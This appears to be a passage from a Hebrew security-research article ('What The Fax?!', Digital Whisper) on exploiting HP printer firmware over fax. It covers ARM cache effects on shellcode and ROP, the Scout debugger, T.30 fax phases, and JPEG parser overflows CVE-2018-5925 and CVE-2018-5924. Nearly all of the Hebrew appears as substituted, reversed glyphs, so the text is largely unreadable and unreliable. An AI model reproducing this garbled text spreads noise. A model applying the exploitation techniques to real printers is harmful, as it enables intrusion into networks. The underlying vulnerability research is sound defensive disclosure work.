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 ˧ˡ˟˰ˬ ˪˰ˬ ˢ˷ˬ˷ˢ˪ ˰ˠˣˮ˟ ˢ˟ˣ˷˥ ˢˡˣ˵ˮARM ˞˧ˢ ,˪˦ˮ˧˞ ˸˶˴ˣ˸ˬ ˫ˮ˧˞˷ ˫˧ˡ˟˰ˬˢ ˟ˣ˶˟ ˢ˷˰ˬ˪ ,

 ˧ˮ˟ˬ ˶˲˯ˬ˟ ˷ˣˬ˧˷ ˢ˷ˣ˰ ˡ˟˰ˬˢ˷cache) ˰ˡ˧ˬ ˪˰ ˧˞˶˥˞ˢ ˢˮ˟ˬ˟ ˶ˬ˷˸ ˣˮ˥˪˷˷ ˢ˰ˡˣˢˢ .D-

Cache) ˸ˣˡˣ˵˲˪ ˧˞˶˥˞ˢ ˢˮ˟ˬˢˬ ˡˣ˵ ˳˧˶ˢ˪ ˢ˴˶ˮ ˣˮ˥ˮ˞ ˣ˪˧˞ˣ (I-Cache ˸ˣ˶ˬ˪˷ ˞˧ˢ ˸ˣ˰ˬ˷ˬˢ .(

 ˠˣ˯ˬ ˢˮˠˢ ˭ˣˮˠˮˬ ˟˪˷ˬ ˣˮ˧˞ ˡ˟˰ˬˢ˷W^X  ˫˧˪ˣ˩˧ ˞˪ ˭˧˧ˡ˰ ˣˮ˞ ,(ˢ˴˶ˢ ˶˟ ˣ˞ ˟˧˸˩ ˣ˞ ˢ˧ˢ˧ ˰ˡ˧ˬ)

 .ˣˮ˥˪˷ ˣˮ˥ˮ˞˷ ˢ˰ˡˣˢˢ ˪˰ ˰˧˟˴˸˷ ˨˩ ˸˧ˮ˯˥ˬˢ ˪˰ ˢ˶ˣˬ˷ˢ ˢ˶ˤ˥ˢ ˸˟ˣ˸˩ ˸˞ ˸ˣˮ˷˪ ˦ˣ˷˲ ˸˞ˤ

˟ ˶ˣˬ˷ ˞ˣˢ˷ ˧˲˩ ˰ˡ˧ˬˢ ˸˞ ˢ˞˶˧ ˡ˟˰ˬˢ ,˸ˣˡˣ˵˲ˢ ˸˞ ˱ˣ˪˷˪ ˣ˞ˣ˟˟˷ ˫ˣ˷ˬ-I-Cache sx-shellcode 

˟ ˶ˣˬ˷ ˢ˧ˢ˧ ˭˧˧ˡ˰ ˣˮ˪˷-D-Cache .˭ˣ˶˩˧ˤˢ ˧ˮ˟ˬ ˶˸˧˪ ˪˥˪˥˪ ˵˧˲˯˧ ˞˪ˣ 

:˫˧˞˟ˢ ˫˧˟˪˷ˢˬ (˪ˣˡˠ˟) ˟˩˶ˣ˸˷ ˢ˲˧˵˸ ˸˶˷˶˷ ˢˮ˟ˮ ,˫˧ˮˣ˷ˢ ˫˧˴ˣ˪˧˞ˢ ˸˞ ˱ˣ˵˰˪ ˧ˡ˩ 

1.  ˟˪˷ROP ˢ ˸˞ ˢ˵ˮ˧˷-D-Cache sx-I-Cache ˣˮ˥˪˷˷ ˰ˡ˧ˬˢ ˸˞ ˣ˪˪˩˧ˣ ˫˧ˮ˶˩ˮˣ˯ˬ ˣ˧ˢ˧˷ ˨˩ 

2. Shellcode  ˧˴ˣ˪˧˞ ˪˰ ˶˟ˠ˸ˢ˪ ˧ˡ˩) ˥ˣ˪˷˪ ˣˮ˧˴˶ ˸ˬ˞˟˷ ˭˩ˣ˸ˢ ˪˰ˬ ˡˣˡ˧˵ˢ ˸˞ ˥˸˲˧˷ ˧˯˧˯˟

(˫˧ˣˣ˸ˢ 

3.  ˢ˧ˢ˧ ˭˰˦˧˷ ˡˣ˵ˢ ˢ˥˧˸˲ˢ ˶˥˞˪loader  ˣ˧˪˞ ˥˪˷˧˷ ˞˪ˬˢ ˶ˠ˞˟˧ˡˢ ˸ˮ˧˰˦ˣ ˸˪˟˵˪ ˢ˩˥ˬ˷ ˭˦˵

 ˪˰ˬTCP  ˷˞˶ˬ ˫˞ˣ˸˷ ˦˶ˣ˲˪- ˞˪ˬˢ ˶ˠ˞˟˧ˡˢ ˪˵˷ˬˬ ˫˧˰˟ˣˮ˷ ˫ˣ˵ˬ ˧˴ˣ˪˧˞ ˱ˣ˵˰ˮ ˣˤ ˢ˶ˣ˴˟ 

 ˸ˣ˰˲ˣ˸ ˢˬ˩ ˷˧ ˸˯˲ˡˬ˟ ˢ˷˪ˣ˥ˢ ˪ˣ˴˧ˮ˪˷ ˶˶˟˸ˢ ˣ˪˪ˢ ˫˧˟˪˷ˢ ˪˩ ˸˞ ˢ˥˪˴ˢ˟ ˣˮˬ˪˷ˢ˷ ˧˶˥˞

 ˭˧˟ ˪˷ ˡ˯˥ ˸˲ˣ˵˸ ˪˟˵ˮ ˥˪˴ˣˬ ˪ˣ˴˧ˮ ˪˩ ˧˶˥˞˷ ˞˧ˢ ˭ˢˬ ˸˥˞ .˧˞ˣˣ˪2 ˪-10  ˭ˬˤˢ ˵˶˲ ˫ˣ˸˟ .˸ˣ˵ˡ

ˣ˶˟ ˢˮ˧˞˷ ˢ˟˧˯ˬ ˯ˣ˶˵˸ ˸˯˲ˡˬˢ ˢˤˢ ˟ˣ˷ ˸ˣ˩˥˪ ˣˮ˸ˣ˞ ˳˪˞˧˷ ˢˬ ,ˢ˶7  ˢ˞˟ˢ ˢ˲˧˵˸ˢ˷ ˡ˰ ˸ˣ˵ˡ

 ˪˷ ˭ˬˤ ˵˶˲˟ ˵˧˲˯ˢ˪ ˶˷˲˞ ˫˧˶˟ˡ ˢˬ˩ ˫˩˪ ˶˲˯˪ ˫˧˩˧˶˴ ˞˪ ˣˮ˥ˮ˞ .˫˧˧˸˯˸7 ...˸ˣ˵ˡ 

ˢ ˫˪ˣ˰˟ˣ ˣˮ˪˧˟˷˟ ˢ˟ˣ˦ ˵˧˲˯ˬ ˞˧ˢ ˪˟˞ ,˫˪ˣ˰˟ ˢ˟ˣ˦ˢ ˢ˷˪ˣ˥ˢ ˞˪ ˣˤ-embedded  ˸ˣ˧ˢ˪ ˶˷˲˞ ˧˞

.˫˧˧ˮ˶˶˟ 

 

˸ˮ˧˰˦ ˷˷ˠ - Scout Debugger 

˟˞˟ ˷ˣˬ˧˷ ˣˮ˧˷˰ ˫ˡˣ˵ˢ ˶˵˥ˬ˟˷ ˧˶˥˞- ˣ˟ ˸ˣ˷˰˪ˣ ˣ˸ˣ˞ ˟˧˥˶ˢ˪ ˣˮ˦˪˥ˢ ,ˣˮ˪˷ˬ ˶ˠ˞˟˧ˡ ˪˷ ˯ˣ˲˧˦

 .˯˵˲ˢ ˶˵˥ˬ˟ ˞˪ˬ ˷ˣˬ˧˷Scout  ˧ˬ˷˶ˢ ˣˬ˷˟ ˣ˞ ,"˫˧˧ˮ˰˪ ˶ˠ˞˟˧ˡ" ˢ˷˰ˬ˪ ˞ˣˢˣ ˣˮ˥˸˧˲˷ ˶ˠ˞˟˧ˡ ˞ˣˢ

 ."˸ˣ˧˥ˮˢ ˯˯ˣ˟ˬ ˶ˠ˞˟˧ˡ"Scout ˣ ˪˦ˮ˧˞ ˧ˡ˟˰ˬ˟ ˫ˣ˧˩ ˨ˬˣ˸-ARM  ˶˲˯ˬ˟ ˨ˬˣ˸ ˞ˣˢ˷ ˨˩˟ ˳ˣ˰ˮ ˣˮˣ˶˸˧˧ˣ

:˸ˣˮˣ˷ ˸ˣ˶ˣ˴˸ 

¶  ˨˧˪ˢ˸˪ ˢ˵˶ˤˢuser-mode  ˸˯˯ˣ˟ˬ ˢ˟˧˟˯˟ ˪˧ˠ˶Unix  ˸ˬ˞ˣ˸ ˢ˟˧˟˯ ,˵ˣ˧ˡ ˶˸˧˪)Posix( 

¶  ˸ˣ˷˪ˣ˥ ˠ˟ˡ˪ ˪˧˟˷˟ ˯˵ˣˮ˧˪ ˪˷ ˪ˮ˶˵˪ ˶˟˧˧˶ˡ˩ ˢˮ˧˰˦Privilege Escalation (˯ˣ˲˧˦ˢ ˟˞ ˢ˧ˢ ˢˤ) 

¶  ˶˴ˣˬ ˪˷ ˭ˣ˶˩ˤˢ ˟˥˶ˬ˪ ˢ˵˶ˤˢembedded ˟˧˟˯˟ ˸˯˯ˣ˟ˬ ˢUnix (˪"ˮ˩) 

 ˶˴ˣˬ ˪˷ ˭ˣ˶˩ˤˢ ˟˥˶ˬ˪ ˵˶ˤˣ˧˷ ˧ˮ˲˪embedded  ˫ˣ˷ ˞˪˪ ˳ˣ˶˪ ˪˩ˣ˧˷ ˧ˡ˩˟ ˡ˥ˣ˧ˬ ˪ˣ˲ˬ˧˵ ˶˟ˣ˰ ˞ˣˢ

 :ˣˬ˩ ˢ˧˶˲˯ ˸ˣ˧˴˵ˮˣ˲˪ ˞ˣ˶˵˪ ˸ˮˬ ˪˰ .˵˶ˤˣ˧ ˞ˣˢ ˢ˧˪˞ ˭ˣ˶˩ˤˢ ˸˟ˣ˸˩˟ ˸ˣ˪˸socket ,bind ,memcpy  ˣ˞

sleep ˭˧˰ˬ) ˣ˪˷ˬ ˢ˪˟˦˟ ˷ˣˬ˧˷ ˢ˷ˣ˰ ˶ˠ˞˟˧ˡˢ ,GOT ˟ ˸ˣˮˣ˷ˢ ˸ˣ˟ˣ˸˩ˢ ˸˞ ˢ˪˧˩ˬˢ (˧˷˧˞-

Firmware  ˸ˣ˧˥ˮˢ ˶ˠ˞˟˧ˡ˪ ˥˸˲˪ ˫˧˪ˣ˩˧ ˣˮ˥ˮ˞˷ ˢˡ˟ˣ˰˟ ˞ˣˢ ˦˪ˣ˟ˢ ˭ˣ˶˸˧ˢ .˪"ˮˢ ˸ˣ˧˴˵ˮˣ˲ˢ ˣ˰˧˲ˣ˧ ˭ˢ˟

 ˡˣ˵˟ ˸ˣ˷ˡ˥C ˸˧ˮ˩ˣ˸˟ ˶˟ˣˡˬ ˣ˪˧˞˩ ˣ˸ˣ˞ ˪˲ˬ˵˪ ,User- ˢ˶ˣ˴˟ ˳ˣ˶˧˷ ˨˩ ˣ˸ˣ˞ ˵˧˶ˤˢ˪ ˤ˞ˣ ˢ˦ˣ˷˲ ˸˧

.˸˯˲ˡˬˢ ˪˷ ˭ˣ˶˩ˤˢ ˟˥˶ˬ˟ ˢ˵˪˥ˣ ˸˧˰˟˦ 
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˞˪ ˸˶˷ ˥˸ˣ˲ ˞ˣˢ ,ˠ˟ˡ˪ ˢ˴˶ˮ ˣ˸ˣ˞ ˶˴ˣˬˢ / ˨˧˪ˢ˸ˢ ˪˷ ˭ˣ˶˩˧ˤˢ ˟˥˶ˬ˟ ˳ˣ˶˪ ˪˧˥˸ˬ ˞ˣˢ˷ ˶˥

 ˢ˟˥˶ˢ ˪˩ ˣ˞ ˭ˣ˶˩ˤ ˸˟˧˸˩ / ˭ˣ˶˩ˤ ˸˞˧˶˵˪ ˸ˣ˧˥ˮˢ ˪˷ ˢ˥˧˪˷ ˸ˣ˰˴ˬ˞˟ .˸ˣ˧˥ˮˢ ˸˪˟˵˪ ˭˧ˤ˞ˬˣ ˸˶ˣ˷˵˸

˟ ˷ˬ˸˷ˢ˪ ˪˩ˣˮ ,˱˧˯ˣˢ˪ ˢ˴˶ˮ˷-Scout .ˣˮˮˣ˴˶˩ ˸˯˲ˡˬˢ ˸˞ ˠ˟ˡ˪ ˧ˡ˩ 

 ˪˷ ˞˪ˬˢ ˡˣ˵ˢScout  ˡ˥˧˟ ˞˴ˬˮ ˸ˣ˞ˬˠˣˡˣ ˷ˣˬ˧˷ ˸ˣ˧˥ˮˢ ,ˣ˪˷ ˸˧˸˷˸ˢ ˧˦˲˧˶˵˯ ˫˰-GitHub :ˣˮ˪˷ 

https://github.com/CheckPointSW/Scout 

 

ˤ˞ ˨˧˞ ˪˪˩˟ ˡ˟ˣ˰ ˯˵˲? 

 .ˡ˟ˣ˰ ˪˪˩˟ ˯˵˲ ˨˧˞ ˫˩˪ ˣˮ˶˟˯ˢ ˞˪ ˭˧˧ˡ˰ˣ ,˫˧˞˷ˣˮ ˦˰ˬ ˞˪ ˪˰ ˣˮ˶˟˧ˡ ˣ˧˷˩˰ ˡ˰ ˣˮ˶ˤ˰ˮ˷ ˧˶˥˞ ˣ˧˷˩˰

-˟Scout ˢ ˸˞ ˸˧ˬ˞ˮ˧ˡ ˯ˣ˶˲˪ ˧ˡ˩-Firmwareˢ ˪ˣ˵ˣ˦ˣ˶˲˪ ˣˮ˪˷ ˶˟˯ˢˢ ˢˮˢ ,-T.30.  ˯˵˲ˢ ˸ˣ˰ˡˣˢ

 ˸˶ˣ˷˵˸ ˵˶ˣ˰ ˪˰ˬ ˸ˣ˥˪˷ˮHDLC  ˨˧˪ˢ˸ .˪˟˵ˬˢ ˫ˡˣˬ˪ ˣˮ˪˷ ˫ˡˣˬˢ ˭˧˟ ˢ˥˧˷ˢ ˸˪˧˥˸˟ ˫˵ˣˬ˷

ˢ ˵˶ˣ˰ ˪˷ ˢˬ˵ˢˢ-HDLC ˴˟ ˱˴˲˴ˬ˷ ˢˤ ˞ˣˢ˯˵˲˟ ˷ˣˬ˧˷ˢˬ ˣˮ˟ˣ˶˪ ˸˶˩ˣˬˢ ˢ˶ˣ. 

 

 ˪˷ ˣˬ˴˰ ˪ˣ˵ˣ˦ˣ˶˲ˢT.30 :˫˧˟˪˷ ˶˲˯ˬ˪ ˵˪ˣ˥ˬ 

.˞ Phase A - ) ˢ˥˧˷ ˢˢˤˬ ˪˷ ˢ˥˧˪˷CallerID (-  ˨˶ˣ˞˟ ˧˪˞ˣ˦˯˵˦ ˢˡ˷20 ˫˧ˣˣ˸ 

.˟ Phase B -  ˭˧˰ˬHandshake ˪˟˵ˬˢˣ ˥˪ˣ˷ˢ ˫ˡˣˬˢ ˭˧˟ ˸ˣ˩ˬ˸ˮ ˸ˣ˪ˣ˩˧ ˫ˣ˞˧˸ ˰˴˟˸ˬ ˣ˩˶ˡ 

.ɣ Phase C -  ˭˩ˣ˸ˢ .ˢ˥˧˪˷˪ ˡ˰ˣ˧ˬˢ ˨ˬ˯ˬˢ ˪˷ ˭˩ˣ˸ˢ ˶˟˰ˣˬ ˣ˟ˣ ˭ˣˣ˧˩ˬ ˶˸ˣ˧˟ ˟ˣ˷˥ˢ ˟˪˷ˢ ˣˢˤ

ˢ˶ˣ˷ ˥˪˷ˮ-ˡˣˬ˰ ,ˢ˶ˣ˷-ˢ˥˪˴ˢ˟ ˶ˣ˟˰˧ ˨ˬ˯ˬˢ ˪˩˷ ˡ˰ ˡˣˬ˰ 

.l Phase D -  ˫˧˟˪˷˪ ˫˧˶ˤˣ˥ ˨˶ˣ˴ˢ ˸ˡ˧ˬ˟ˣ ˭ˣ˪˷˧˩ / ˢ˥˪˴ˢ ˪˰ ˧ˮ˷˪ ˰˧ˡˣˬ ˡ˴ ˪˩ ˣ˟ ˫ˣ˧˯ ˟˪˷

˸˶ˤˣ˥ ˢ˥˧˪˷˪ ˫˧ˬˡˣ˵ˢ 

  

https://github.com/CheckPointSW/Scout
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ˡ˯ ˸˞ ˶˞˸ˬˢ ˫˧˷˶˸ ˭˪ˢ˪:ˣˮ˶˞˧˸˷ ˧˲˩ ˸ˣ˰ˡˣˢˢ ˸˪˟˵ˣ ˸˥˧˪˷ ˶ 

 

 ˧˴˟˵ ˫˧˥˪˷ˮ ˯˵˲ ˪˰ˬ˷ ˟ˣ˷˥˪ ˠˣˢˮ*.TIFF  ˥˪˷ˮ˷ ˰ˡ˧ˬˢ .˸ˣ˞˧˴ˬˢˬ ˨˩ ˪˩ ˵ˣ˥˶ ˞˪˷ ˶˟ˡ

 ˳˟ˣ˵ ˪˷ ,˸ˣ˶˸ˣ˩ ˞˪˪ ,˭˩ˣ˸ˢ ˢ˷˰ˬ˪ ˞ˣˢ ˪ˣ˵ˣ˦ˣ˶˲˟*.TIFF  ˸ˣ˯˧˥ˡˢ ˸ˣ˰˴ˬ˞˟ ˯ˣ˥ˡˢG3/G4  ˪˷

.˦ˬ˶ˣ˲ˢ  ˢ˶ˣ˴˟ ˸ˣˮ˟ˮ ˭ˬ˴˰ ˸ˣ˶˸ˣ˩ˢ˞˸˧˦ˬˣ˦ˣ  ,ˣˮ˪˷ ˢ˶˵ˬ˟ ˸˯˲ˡˬˢ ,˪˟˵ˬˢ ˶˧˷˩ˬˢ ˧ˡ˧ ˪˰

 ˢ˪˟ˠˬ˟ ˶˟ˣˡˬ ˱˵ˣ˸ ˪˷ ˦˟ˬ ˸ˡˣ˵ˮˬ .˪ˣ˵ˣ˦ˣ˶˲ˢ ˪˷ ˫˧ˮˣ˷˞˶ˢ ˫˧˟˪˷˟ ˫˞ˣ˸˷ ˰ˡ˧ˬˢ ˸ˣ˰˴ˬ˞˟

 ˧˴˟˵ ˶ˣ˯˶˲˟ ˸ˣ˷˪ˣ˥ ˢ˟˶ˢ ˭ˮ˷˧˷ ˸ˣ˶ˬ˪ .˸ˬ˧˧ˣ˯ˬ*.TIFF ˸ˣˡ˷˟ ˢ˞˪ˬ ˢ˦˧˪˷ ˸ˣ˷˶ˣˡ ˟ˣ˶˪ ˭ˢ ,

 ˢ˶˵ˬ˟ˣ ,˸˶˸ˣ˩ ,˨ˬ˯ˬˢ ˪˷ ˭˩ˣ˸ˢ ˸˞ ˢˣˣˢˬˣ ˥˪˷ˮ˷ ˯ˣ˥ˡˢ ˰ˡ˧ˬ˟ ˵˶ˣ ˨˞ ˦ˣ˪˷˪ ˫˧˪ˣ˩˧ ˣˮ˥ˮ˞ ˣˮ˪˷

.˨ˬ˯ˬˢ ˪˷ ˶ˣ˞˧˸ˢ ˞˪ ˨˞ 

 

˯˵˲ ˧ˮˣ˰˟˴ 

ˢˬ? 

 ˪˷ ˭˵˸ˢ ,˟ˣ˦ ˪ˣ˵ˣ˦ˣ˶˲ ˪˩ ˣˬ˩T.30  ˶ˣ˯˶˲ ˧˶˥˞ .˧ˮˣ˰˟˴ ˯˵˲ :˞˧ˢ ˭ˢˬ ˸˥˞ˣ ˸ˣ˟˥˶ˢ ˶˲˯ˬ ˶˧ˡˠˬ

:ˣˤˢ ˢ˟˥˶ˢ˟ ˸˩ˬˣ˸ ˣ˪˧˲˞ ˣˮ˪˷ ˸˯˲ˡˬˢ˷ ˶˟˸˯ˬ ,ˣˮ˪˷ ˯˵˲ˢ ˫ˡˣˬ ˪˷ ˸ˣ˪ˣ˩˧ˢ 

 

 ˧˲˪ .˷ˣˬ˧˷˟ˣ ˫˧˧˵ ˞ˣˢˣ ˶˟ˡ ˢˤ ˧ˮˣ˰˟˴ ˯˵˲˷ ˶˟˸˯ˬ ,ˢˤ˩ ˶˟ˡ ˫˧˧˵ ˪˪˩˟˷ ˧˸˰ˡ˧ ˞˪˷ ˸ˣ˶ˬ˪

,˞˷ˣˮˢ ˪˰ ˫˸˧˞ ˣˮ˶˟˧ˡ˷ ˫˧˦˧˶˟ ˢˬ˩ˣ ,˦ˮ˶˦ˮ˧˞ˢ  ˟˥˶ˮ ˷ˣˬ˧˷ ˫˧˷ˣ˰ (ˢ˧ˮ˦˧˶˟˟ ˶˵˧˰˟) ˫˧˪ˣ˥ ˧˸˟

 .˫˧˪˲ˣ˦ˬ ˪˷ ˥ˣ˸˧ˮ ˨˪ˢˬ˟ ˳ˣ˥ˮˢ "˵˧˧ˣˡˬ ˰ˡ˧ˬ" ˶˧˟˰ˢ˪ ˧ˡ˩˟ ˧ˮ˷˪ ˡ˥˞ ˭˧˟ ˫˧˧ˮˣ˰˟˴ ˫˧˯˵˲˟ 
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ˤ˞ ˨˧˞ ˢˤ ˡ˟ˣ˰? 

˪ ˢ˶ˤ˥ ˣˮ˶ˤ˥ ˢˤˢ ˟˪˷˟-Firmware  ˦ˣ˷˲ ˢ˧ˢ ˢˤˢ ˵˪˥ˢ ˣˮ˪ˤˬ˪ .˧ˮˣ˰˟˴ ˯˵˲ ˡ˟ˣ˰ ˨˧˞ ˭˧˟ˢ˪ ˣˮ˧˯˧ˮˣ

 ˳˟ˣ˵ ˨ˣ˸˪ ˣ˞ˣ˪ˬ˟ ˶ˬ˷ˮˣ ˪˟˵˸ˬ ˦ˣ˷˲ ˧ˮˣ˰˟˴ ˯˵˲ ˪˷ ˭˩ˣ˸ˢ :˸˧˯˥˧.jpg 

)ά҈ǎκƧŦȄǇψǘŜƳǇ҈Řψ҈ŘΦƧǇƎέ  ˢˤ ˪˰ ˶ˣˤ˥˞ ˧ˮ˞ ˤ˞ ,˧˸˧ˬ˞ ˸ˣ˧ˢ˪ ˧ˡ˩ˬ ˟ˣ˦ ˢ˞˶ˮ ˢˤ .ˣˢˤˣ (˵ˣ˧ˡ ˶˸˧˪

 ˳˟ˣ˵ ˪˷ ˭˩ˣ˸ˢ *˪˩* ˪˰ ˦˪ˣ˷ ˱˵ˣ˸ˢ :˟ˣ˷-s.jpg  ˫ˣ˷* ˢ˷ˣ˰ ˞˪ ˸˯˲ˡˬˢˣ ,˸˯˲ˡˬˢ ˡ˴˟ ˪˟˵˸ˢ˷

 ˧ˡ˩ ˳˟ˣ˵ˢ ˸˞ ˶˯˶˲˪ ˨˶˦˴˸ ˸˯˲ˡˬˢ ,ˢ˪˟˵ˢ ˶˥˞˪ .˪˟˵˸ˬ ˞ˣˢ ˶˷˞˩ ˳˟ˣ˵ˢ ˭˩ˣ˸ ˪˰ *ˢ˵˧ˡ˟

.˯˵˲ˢ ˨˶ˡ ˸˯˲ˡˬˢ ˪˰ ˦˪˸˷ˢ˪ ˣˮ˪ ˶˷˲˞˸˷ ˢ˷˪ˣ˥ ˞ˣ˴ˬ˪ ˪˩ˣˮ ˭˞˩ ˶˧˟˯ ˧ˣ˩˧˯˟ˣ ,ˣ˸ˣ˞ ˯˧˲ˡˢ˪ 

 

˫˧˞˧˴ˬˬ ˸˞ ˪ˠ˪ˠˢ ˷ˡ˥ˬ 

 ˧˥˸˲ˬ ,˧˸ˮ˟ˢ ˫˶˦˷ ˢ˟˧˯ˬFirmware  ˸ˣ˧˶˲˯˟ ˶˟˰˟ ˣ˷ˬˣˬ ˶˷˞ ˢˮ˩ˣ˸ ˧˪ˣˡˣˬ ˫ˬ˴˰˟ ˥˸˲˪ ˫˧˦ˣˮ

 ˢˮ˷˧ ,ˢˤˢ ˢ˶˵ˬ˟ .˸ˣ˰ˣˡ˧ ˸ˣ˷˪ˣ˥ ˸ˣ˪˧˩ˬ ˞˪ˣ ˸ˣ˟˧˴˧ ˭ˮ˧ˢ ˥ˣ˸˲ˢ ˡˣ˵ˢ ˸ˣ˧˶˲˯ ˶˷˞˩ ˫ˠ ,˥ˣ˸˲ ˡˣ˵

 ˧˴˟˵ ˶ˣ˯˶˲˪ ˥ˣ˸˲ ˡˣ˵ ˸˧˧˶˲˯JPEG  ˫˷˟libjpeg ˪ ,ˢ˷˰ˬ˪ .(˰˧˸˲ˬ ˢˬ˩)-libjpeg ˫˷ ˷˧  ˢ˧˧˶˲˯ ˪˷

ˬ˷ˬ ˢ˷˪ˣ˥ ˫ˣ˷ ˢ˟ ˢ˞˴ˬˮ ˞˪˷ ˫ˣ˷ˬ ,˫˧˶˵ˣ˥ ˟˶˵˟ "ˢ˴ˬ˷˪ ˢ˰ˣˡ˧" ˫˧ˮ˷ ˶˷˰ˬ ˢ˪˰ˬ˪ ˶˟˩ ˸˧˸ˣ˰

 .(!) ˸˶˟˥˟ ˫˧˥˸˲ˬˢ ,ˣˮ˪ˤˬ˪HP  ˶˯˶˲ ˷ˬˬ˪ ˣ˶˥˟JPEG :ˢ˞˟ˢ ˢ˶ˣ˴˟ ˪˰ˣ˲ ˞ˣˢˣ ,˫ˢ˪˷ˬ ˧ˡˣ˰˧˧ 

1. ) ˢ˪˥˸ˢ ˭ˬ˯˟ ˪˧˥˸ˬ ˳˟ˣ˵ˢ ˧˩ ˵ˡ˟ˮ ˢ˪˧˥˸˟Start Of Image - SOI :(0xFFD8 

2.  ˶˯˶˲ˢ˫˧˩ˬ˸ˮˢ ˫˧ˮˬ˯ˢˬ ˡ˥˞ ˪˩˟ ˪˲˦ˬˣ ˢ˞˪ˣ˪˟ ˳˶ 

3. ˢ ˰ˡ˧ˬˢ ,˫ˣ˧˯˟˧˦ˮˣˣ˪˶ .'ˣ˩ˣ ˢˮˣˬ˸ˢ ˟˥ˣ˶ ,ˢˮˣˬ˸ˢ ˢ˟ˣˠ :˸˞ ˪˪ˣ˩ˣ ˞˶ˣ˵˪ ˶ˤ˥ˣˬ 

 

CVE-2018-5925 - ˸˯˧˶ˡ ˭ˣ˶˩ˤ ˶ˣ˯˶˲˟ ˭ˬ˯ COM 

 ˪˷ ˦˶ˡˮ˦˯ˢ ˧˲ ˪˰JPEG ˭ˬ˯ˢ ,COM )0xFFFE ˪˷ ˶ˣ˴˧˵) ˢˮ˸˷ˬ ˪ˡˣˠ ˸˪˰˟ ˸ˤˣ˶˥ˬ ˶˞˸ˬ (

Comment  ˢ˟˶ˬ˪ˣ ,ˢˮˣˬ˸ˢ ˦ˬ˶ˣ˲ ˶ˣ˯˶˲˟ ˢ˷˪ˣ˥ ˸˞˧˴ˬ˪ ˭ˣ˷˞˶ˢ ˧ˮ˧˴˶ˢ ˡˬ˰ˣˬˢ ˣˢˤ .(ˢ˶˰ˢ =

 ˡˣ˰˷ ˭˧˧˴˪ ˶˸ˣ˧ˬ .˯˵˲ˢ ˸˞ ˪˟˵ˬˢ ˡ˴˟ ˣ˪˞˩˷ ˸ˣ˧ˠ˸ ˶˧˯ˢ˪ ˷˧˷ ˭˧˧˴ˬ ˧ˮˣ˰˟˴ ˯˵˲ ˪˷ ˭˵˸ˢ ˢ˧ˮˣ˶˧˞ˢ

.ˢˤˢ ˢ˶˵ˬ˟ ˢ˵˧˦˵˶˲˪ ˢ˧˶ˣ˞˧˸ˢ ˭˧˟ ˶˰˲ ˷˧˷ ˨˩ ,˪"ˮˢ ˸ˣ˧ˠ˸ˢ ˸˞ ˶˧˯ˬ˷ ˷ˣˬ˧ˬ ˧˸˞˴ˬ ˞˪ 

˧˴˷ ˣˬ˩:˰˧ˠ˲ˢ ˡˣ˵ˢ ˭˪ˢ˪ˣ ,˪"ˮˢ ˭ˬ˯˟ ˪ˣ˲˧˦˟ ˢ˷˪ˣ˥ ˣˮ˞˴ˬ ˭˩˞ ,ˣˮ˧˲ 

 

 ˪˷ ˪ˡˣˠ˟ ˨˶ˣ˞ ˢˡ˷ ˶˯˶˲ˬ ˡˣ˵ˢ2  ˸˞˪ˣ˪˟ ˳˶ˣ ,˫˧˸˟for  ˪˞ ˣˮ˥˪˷˷ ˳˟ˣ˵ˢˬ ˰ˡ˧ˬ ˵˧˸˰ˢ˪ ˸ˮˬ ˪˰

 ˳˴ˣ˥˟ˣ˪ˠ˧˪.˪˟˵˸ˢ ˰ˠ˶ˢ˷ ˨˶ˣ˞ˢ ˢˡ˷ ˧˲ ˪˰ , 

  



 
 

What The Fax?! 

www.DigitalWhisper.co.il 

 ˭ˣ˧˪ˠ100 , ˶˟ˬ˟ˣˮ2018  24 
 

ˢ ˳˴ˣ˥ˢˣ ˸ˣ˧ˢ˧˪˟ˣ˪ˠ ˩ ˪˷ ˰ˣ˟˵ ˪ˡˣˠ˟ ˞ˣˢ-2100  ˶˟ˣˡˬ ,˵ˡ˟ˮ ˞˪ ˪˪˩ ˨˶ˣ˞ˢ ˢˡ˷ˣ ˸ˣ˧ˢˣ ,˫˧˸˟

ˢ ˫˧ˮ˸˷ˬˢ ˧ˮ˲ ˪˰ ˸˦˪˷ˮˣ ˸˧˵ˮ˰ ˭ˣ˶˩ˤ ˸˯˧˶ˡ˟˧˪˟ˣ˪ˠ.˫˧ 

 

CVE-2018-5924 - ˸˯˧˶ˡ ˸˧ˮ˯˥ˬ ˶ˣ˯˶˲˟ ˭ˬ˯ DHT 

 ˭ˬ˯ˢˣ ˭ˣˣ˧˩ˬ ˸ˣ˲˯ˣˮ ˸ˣ˷˪ˣ˥ ˷˲˥˪ ˣˮ˦˪˥ˢ ,˵ˣ˥˶ˬ ˡˣ˵ ˸˴˶ˢ ˸˶˷˲˞ˬ ˸ˬˡˣ˵ˢ ˢ˷˪ˣ˥ˢ˷ ˸ˣ˶ˬ˪

 ˧˲ ˪˰ ˨ˬ˸˧ˢ˪ ˶ˣˬ˞ ˞˪ ˪˪˩ ˰˧ˠ˲ˢˢ ˭ˬ˯ ˸˞ ˣˮ˞˴ˬ ˶ˢˬ ˧ˡ .˭˵˸ˢ-DHT )0xFFC4 ˡˣ˵ ˪˪ˣ˩ ˶˷˞ ,(

:˫ˡˣ˵ˢ ˭ˬ˯˟ ˶˷˞ˬ ˶˸ˣ˧ ˦ˣ˷˲ ˸˧˸ˣ˰ˬ˷ˬ 

 

:˧˩ ˸ˣ˞˶˪ ˭˸˧ˮ ˢ˶˧ˢˬ ˢ˵˧˶˯˟ 

¶  ˸˞˶ˣ˵ ˸˧ˮˣ˷˞˶ ˢ˞˪ˣ˪16 ˡ˧˥˧ ˢˮ˸˷ˬ ˨ˣ˸˪ ˫˸ˣ˞ ˸ˬ˩ˣ˯ˣ ,˦˪˵ ˧˸˟ 

¶  ˪ˡˣˠ˟ ˸˧ˮ˯˥ˬ ˳˴ˣ˥256 (ˢ˪˧˰˧ ˢ˶ˣ˴˟) ˯˲ˣ˞ˬ ˫˧˸˟ 

¶  ˦˪˵ ˧˸˟ ˸˞˶ˣ˵ ˢ˧˧ˮ˷ ˢ˞˪ˣ˪ ˢˮ˸˷ˬ˟ ˶˟˴ˮ˷ ˪ˡˣˠˢ ˧˲ ˪˰ ,˸˧ˮ˯˥ˬˢ ˳˴ˣ˥ ˪˞ ˳˟ˣ˵ˢˬ ˸ˣ˶˧˷˧

˭˩˪ ˫ˡˣ˵ ˶˞ˣ˸˷ 

